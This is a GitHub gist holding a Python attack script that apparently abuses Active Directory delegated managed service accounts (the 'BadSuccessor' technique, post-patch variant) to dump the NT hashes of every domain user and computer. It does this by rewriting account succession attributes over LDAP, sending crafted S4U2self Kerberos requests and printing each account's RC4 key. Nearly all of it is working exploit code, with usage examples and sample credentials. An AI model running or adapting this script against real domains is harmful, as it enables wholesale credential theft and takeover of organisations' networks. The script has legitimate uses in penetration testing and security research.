Skip to content

Instantly share code, notes, and snippets.

Show Gist options
  • Save ThePirateWhoSmellsOfSunflowers/07a628bb34b30d77a4869925e5f5f050 to your computer and use it in GitHub Desktop.
Save ThePirateWhoSmellsOfSunflowers/07a628bb34b30d77a4869925e5f5f050 to your computer and use it in GitHub Desktop.
import argparse
import datetime
import logging
import os
import random
import struct
import sys
from binascii import hexlify, unhexlify
from six import ensure_binary
from pyasn1.codec.der import decoder, encoder
from pyasn1.type.univ import noValue
from pyasn1.type import tag
from impacket.krb5 import constants
from impacket.krb5.asn1 import AP_REQ, AS_REP, TGS_REQ, Authenticator, TGS_REP, seq_set, seq_set_iter, PA_FOR_USER_ENC, \
Ticket as TicketAsn1, EncTGSRepPart, PA_PAC_OPTIONS, EncTicketPart, S4UUserID, PA_S4U_X509_USER, KERB_DMSA_KEY_PACKAGE
from impacket.krb5.crypto import Key, _enctype_table, _HMACMD5, _AES256CTS, Enctype, string_to_key, _get_checksum_profile, Cksumtype
from impacket.krb5.constants import TicketFlags, encodeFlags, ApplicationTagNumbers
from impacket.krb5.kerberosv5 import getKerberosTGT, sendReceive
from impacket.krb5.types import Principal, KerberosTime, Ticket
from impacket.winregistry import hexdump
from ldap3 import MODIFY_REPLACE, MODIFY_DELETE
from pywerview.functions.net import NetRequester
# This script retrieves NT hashes of all domain users and computers using a dMSA
# Unlike the original script, this one needs privileged account.
# See https://www.akamai.com/blog/security-research/badsuccessor-is-dead-analyzing-badsuccessor-patch for more info
# and https://x.com/YuG0rd/status/1960819000084193399
#
# Based on my previous script: https://gist.github.com/ThePirateWhoSmellsOfSunflowers/912c5728bde1a7eba4bc99ff06b3f73c
#
# Usage:
# python badsuccessordumper_postpatch.py -u daenerys.targaryen --hashes $NTHASH --aes $AESKEY -d essos.local -t 192.168.56.24 -i 'dmsa_essos$'
# python badsuccessordumper_postpatch.py -u daenerys.targaryen -p 'BurnThemAll!' -d essos.local -t 192.168.56.24 -i dmsa_essos$
# python badsuccessordumper_postpatch.py -u daenerys.targaryen --hashes 34534854d33b398b66684072224bb47a -d essos.local -t 192.168.56.24 -i dmsa_essos$
# The last one is prone to error while asking for the TGT if RC4 is not suported by the DC
#
# Not tested in prod, use at your own risk
#
# @lowercase_drm / ThePirateWhoSmellsOfSunflowers
def doDMSA(tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost, domain, impersonate):
decodedTGT = decoder.decode(tgt, asn1Spec=AS_REP())[0]
# Extract the ticket from the TGT
ticket = Ticket()
ticket.from_asn1(decodedTGT['ticket'])
apReq = AP_REQ()
apReq['pvno'] = 5
apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)
opts = list()
apReq['ap-options'] = constants.encodeFlags(opts)
seq_set(apReq, 'ticket', ticket.to_asn1)
authenticator = Authenticator()
authenticator['authenticator-vno'] = 5
authenticator['crealm'] = str(decodedTGT['crealm'])
clientName = Principal()
clientName.from_asn1(decodedTGT, 'crealm', 'cname')
seq_set(authenticator, 'cname', clientName.components_to_asn1)
now = datetime.datetime.now(datetime.timezone.utc)
authenticator['cusec'] = now.microsecond
authenticator['ctime'] = KerberosTime.to_asn1(now)
encodedAuthenticator = encoder.encode(authenticator)
# Key Usage 7
# TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes
# TGS authenticator subkey), encrypted with the TGS session
# key (Section 5.5.1)
encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None)
apReq['authenticator'] = noValue
apReq['authenticator']['etype'] = cipher.enctype
apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator
encodedApReq = encoder.encode(apReq)
tgsReq = TGS_REQ()
tgsReq['pvno'] = 5
tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value)
tgsReq['padata'] = noValue
tgsReq['padata'][0] = noValue
tgsReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value)
tgsReq['padata'][0]['padata-value'] = encodedApReq
# In the S4U2self KRB_TGS_REQ/KRB_TGS_REP protocol extension, a service
# requests a service ticket to itself on behalf of a user. The user is
# identified to the KDC by the user's name and realm.
clientName = Principal(impersonate, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
paencoded = None
padatatype = None
dmsa = True
nonce_value = random.getrandbits(31)
dmsa_flags = [2, 4] # UNCONDITIONAL_DELEGATION (bit 2) | SIGN_REPLY (bit 4)
encoded_flags = encodeFlags(dmsa_flags)
s4uID = S4UUserID()
s4uID.setComponentByName('nonce', nonce_value)
seq_set(s4uID, 'cname', clientName.components_to_asn1)
s4uID.setComponentByName('crealm', domain)
s4uID.setComponentByName('options', encoded_flags)
encoded_s4uid = encoder.encode(s4uID)
checksum_profile = _get_checksum_profile(Cksumtype.SHA1_AES256)
checkSum = checksum_profile.checksum(
sessionKey,
ApplicationTagNumbers.EncTGSRepPart.value,
encoded_s4uid
)
s4uID_tagged = S4UUserID().subtype(explicitTag=tag.Tag(tag.tagClassContext, tag.tagFormatConstructed, 0))
s4uID_tagged.setComponentByName('nonce', nonce_value)
seq_set(s4uID_tagged, 'cname', clientName.components_to_asn1)
s4uID_tagged.setComponentByName('crealm', domain)
s4uID_tagged.setComponentByName('options', encoded_flags)
pa_s4u_x509_user = PA_S4U_X509_USER()
pa_s4u_x509_user.setComponentByName('user-id', s4uID_tagged)
pa_s4u_x509_user['checksum'] = noValue
pa_s4u_x509_user['checksum']['cksumtype'] = Cksumtype.SHA1_AES256
pa_s4u_x509_user['checksum']['checksum'] = checkSum
padatatype = int(constants.PreAuthenticationDataTypes.PA_S4U_X509_USER.value)
paencoded = encoder.encode(pa_s4u_x509_user)
tgsReq['padata'][1] = noValue
tgsReq['padata'][1]['padata-type'] = padatatype
tgsReq['padata'][1]['padata-value'] = paencoded
reqBody = seq_set(tgsReq, 'req-body')
opts = list()
opts.append(constants.KDCOptions.forwardable.value)
opts.append(constants.KDCOptions.renewable.value)
opts.append(constants.KDCOptions.canonicalize.value)
reqBody['kdc-options'] = constants.encodeFlags(opts)
serverName = Principal('krbtgt/%s' % domain, type=constants.PrincipalNameType.NT_SRV_INST.value)
seq_set(reqBody, 'sname', serverName.components_to_asn1)
reqBody['realm'] = str(decodedTGT['crealm'])
now = datetime.datetime.now(datetime.timezone.utc) + datetime.timedelta(days=1)
reqBody['till'] = KerberosTime.to_asn1(now)
reqBody['nonce'] = random.getrandbits(31)
seq_set_iter(reqBody, 'etype',
(int(cipher.enctype), int(constants.EncryptionTypes.rc4_hmac.value)))
message = encoder.encode(tgsReq)
r = sendReceive(message, domain, kdcHost)
tgs = decoder.decode(r, asn1Spec=TGS_REP())[0]
try:
# Decrypt TGS-REP enc-part (Key Usage 8 - TGS_REP_EP_SESSION_KEY)
cipher = _enctype_table[int(tgs['enc-part']['etype'])]
plainText = cipher.decrypt(sessionKey, 8, tgs['enc-part']['cipher'])
encTgsRepPart = decoder.decode(plainText, asn1Spec=EncTGSRepPart())[0]
if 'encrypted_pa_data' not in encTgsRepPart or not encTgsRepPart['encrypted_pa_data']:
logging.debug('No encrypted_pa_data found - DMSA key package not present')
return
for padata_entry in encTgsRepPart['encrypted_pa_data']:
padata_type = int(padata_entry['padata-type'])
logging.debug('Found encrypted padata type: %d (0x%x)' % (padata_type, padata_type))
if padata_type == constants.PreAuthenticationDataTypes.KERB_DMSA_KEY_PACKAGE.value:
dmsa_key_package = decoder.decode(
padata_entry['padata-value'],
asn1Spec=KERB_DMSA_KEY_PACKAGE()
)[0]
dmsa_key_package.prettyPrint()
logging.info('Current keys:')
for key in dmsa_key_package['current-keys']:
key_type = int(key['keytype'])
key_value = bytes(key['keyvalue'])
type_name = constants.EncryptionTypes(key_type)
hex_key = hexlify(key_value).decode('utf-8')
logging.info('%s:%s' % (type_name, hex_key))
logging.info('Previous keys:')
previous_keys = []
for key in dmsa_key_package['previous-keys']:
key_type = int(key['keytype'])
key_value = bytes(key['keyvalue'])
type_name = constants.EncryptionTypes(key_type)
hex_key = hexlify(key_value).decode('utf-8')
#print('%s:%s' % (type_name, hex_key))
previous_keys.append({type_name : hex_key})
except Exception as e:
import traceback
traceback.print_exc()
return r, None, sessionKey, None, previous_keys
def argparser(argv):
arg_parser = argparse.ArgumentParser(prog='badsuccessordumper_postpatch.py', description='\n Domain dumper based on the Bad Successor vulnerability (post patch version)')
arg_parser.add_argument('-u', '--user', required=True, help='User that owns the dMSA')
arg_parser.add_argument('-p', '--password', required=False, help='Password for the user that owns the dMSA')
arg_parser.add_argument('-d', '--domain', required=True, dest='domain', help='User domain')
arg_parser.add_argument('-i', '--impersonnate', required=True, dest='dmsa', help='dMSA samaacountname')
arg_parser.add_argument('--hashes', required=False, action='store', metavar = 'LMHASH:NTHASH', help='NTLM hashes, format is [LMHASH:]NTHASH')
arg_parser.add_argument('--aes', required=False, action='store', help='AES key')
arg_parser.add_argument('-t', '--dc-ip', dest='domain_controller', help='IP address of the Domain Controller to target')
arg_parser.add_argument('--debug', action="store_true", help='Debug mode')
args = arg_parser.parse_args(argv)
if args.hashes:
try:
args.lmhash, args.nthash = args.hashes.split(':')
except ValueError:
args.lmhash, args.nthash = 'aad3b435b51404eeaad3b435b51404ee', args.hashes
finally:
args.password = str()
else:
args.lmhash = args.nthash = str()
if args.password is None and not args.hashes:
from getpass import getpass
args.password = getpass('Password:')
return args
args = argparser(sys.argv[1:])
host=args.domain_controller
user = args.user
domain = args.domain
password = args.password
lmhash = args.lmhash
nthash = args.nthash
dmsa = args.dmsa
debugprint = print if args.debug else lambda *a, **k: None
kdcHost = host
aesKey = args.aes
attributes = ['distinguishedname', 'samaccountname', 'objectclass']
ldap_dmsa_custom_filter = '(&(objectclass=msDS-DelegatedManagedServiceAccount)(samaccountname={}))'
# As you may know, I love pywerview
netrequester = NetRequester(host, domain, user, password, lmhash, nthash)
ldap_dmsa_custom_filter = ldap_dmsa_custom_filter.format(dmsa)
dmsa_raw = netrequester.get_adobject(attributes=attributes, custom_filter=ldap_dmsa_custom_filter)
try:
dmsa_dn = dmsa_raw[0].distinguishedname
debugprint('[-] {0} distinguished name is {1}'.format(dmsa, dmsa_dn))
except IndexError:
print('[x] dMSA account not found or {} is not allowed to retrieve it!'.format(user))
sys.exit(1)
raw_user = netrequester.get_netuser(attributes=attributes)
raw_computer = netrequester.get_netcomputer(attributes=attributes)
debugprint('[-] It will dump {0} users and {1} computers'.format(len(raw_user), len(raw_computer)))
# Caution: PTH may raise KDC_ERR_ETYPE_NOSUPP while getting TGT
if aesKey:
lmhash = nthash = str()
user_principal = Principal(user, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(user_principal, password, domain, unhexlify(lmhash), unhexlify(nthash), aesKey, kdcHost)
targets = raw_user + raw_computer
for target in targets:
# unfortunately, post-patch, we can't dump dmsa
if 'msDS-DelegatedManagedServiceAccount' in target.objectclass:
continue
netrequester._ldap_connection.modify(dmsa_dn, {'msDS-ManagedAccountPrecededByLink': [(MODIFY_REPLACE, [target.distinguishedname])]})
# Here comes the twist.
# According to this link: https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/manage/delegated-managed-service-accounts/delegated-managed-service-accounts-overview
# Attributes are msDS-SupersededManagedServiceAccountLink and msDS-SupersededAccountState.
# Turns out attributes are msDS-SupersededManagedAccountLink and msDS-SupersededServiceAccountState, ¯\_(ツ)_/¯
# https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-ada2/c5b9ddb6-a9dd-4bdc-9a68-775fb346f21e
netrequester._ldap_connection.modify(target.distinguishedname, {'msDS-SupersededManagedAccountLink': [(MODIFY_REPLACE, [dmsa_dn])]})
netrequester._ldap_connection.modify(target.distinguishedname, {'msDS-SupersededServiceAccountState': [(MODIFY_REPLACE, [2])]})
tgs, rcipher, oldSessionKey, sessionKey, previous_keys = doDMSA(tgt, cipher, oldSessionKey, sessionKey, unhexlify(nthash), aesKey, kdcHost, domain, dmsa)
sessionKey = oldSessionKey
netrequester._ldap_connection.modify(target.distinguishedname, {'msDS-SupersededServiceAccountState': [(MODIFY_DELETE, [2])]})
netrequester._ldap_connection.modify(target.distinguishedname, {'msDS-SupersededManagedAccountLink': [(MODIFY_DELETE, [dmsa_dn])]})
for key in previous_keys:
try:
print("{0}\\{1}:{2}".format(domain, target.samaccountname, key[constants.EncryptionTypes.rc4_hmac]))
break
except:
# Computer accounts have also AES in the previous keys array, ignoring them for now
pass
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment